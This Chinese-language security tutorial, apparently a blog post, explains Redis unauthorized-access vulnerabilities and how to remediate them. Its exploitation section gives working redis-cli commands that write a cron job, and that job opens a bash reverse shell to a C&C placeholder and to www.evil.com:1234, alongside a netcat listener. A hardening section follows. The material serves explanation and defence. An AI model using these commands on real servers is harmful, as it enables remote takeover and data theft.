Contents
Redis 未授权访问的利用
漏洞成因
1 Redis 无密码或弱密码
2 监听 0.0.0.0
3 Redis 服务以 root 账号运行
漏洞利用
利用思路
1 上传 webshell (写文件)
2 执行命令 (cron 计划任务 + 写文件)
3 反弹 shell (即执行命令,只是变成执行特定的命令)
4 远程登陆 (写文件 + ssh key) 案例
5 获取系统信息 (Redis info)
6 数据库数据获取 (缓存)
7 代码执行 (Lua)
# 获取信息
# 如果 redis 设置了密码,这步操作就会失败
config get dbfilename
# redis-cli
config set dir /var/spool/cron
config set dbfilename root
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/<c&c_ip>/<c&c_port> 0>&1\n\n\n"
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/www.evil.com/1234 0>&1\n\n\n"
save
c&c
netcat -l -vv -p 1234
常见危害
1 Redis 数据库库本身数据泄露。
2 服务器沦陷。
3 勒索蠕虫病毒。
参考修复方案
/etc/redis/redis.conf
1 redis.conf 中配置 requirepass
项,增加复杂的访问密码
2 redis.conf 中配置 bind 127.0.0.1
或者其他最小化的内网地址
3 限定可以连接 redis 服务器的 IP (比如在 firewalld 的层面加规则)
4 不要用 root 用户启动 redis
5 不用默认的 6379 端口
6 redis.conf 禁止一些高危命令
# /etc/redis/redis.conf
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
7 保证 authorized_keys 文件的安全
# 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限
chmod 400 ~/.ssh/authorized_keys
# 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
# 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限
chattr +i ~/.ssh
# 注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
参考资料
Redis 未授权访问配合 SSH key 文件利用分析
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
Redis 未授权访问漏洞利用总结
http://www.alloyteam.com/2017/07/12910/
【谷安天下】系统组件常见漏洞原理 – redis未授权访问漏洞 – 阿德马
https://edu.aqniu.com/my/course/4911
redis_exp.py
https://github.com/00theway/redis_exp/blob/master/redis_exp.py
Leave a Reply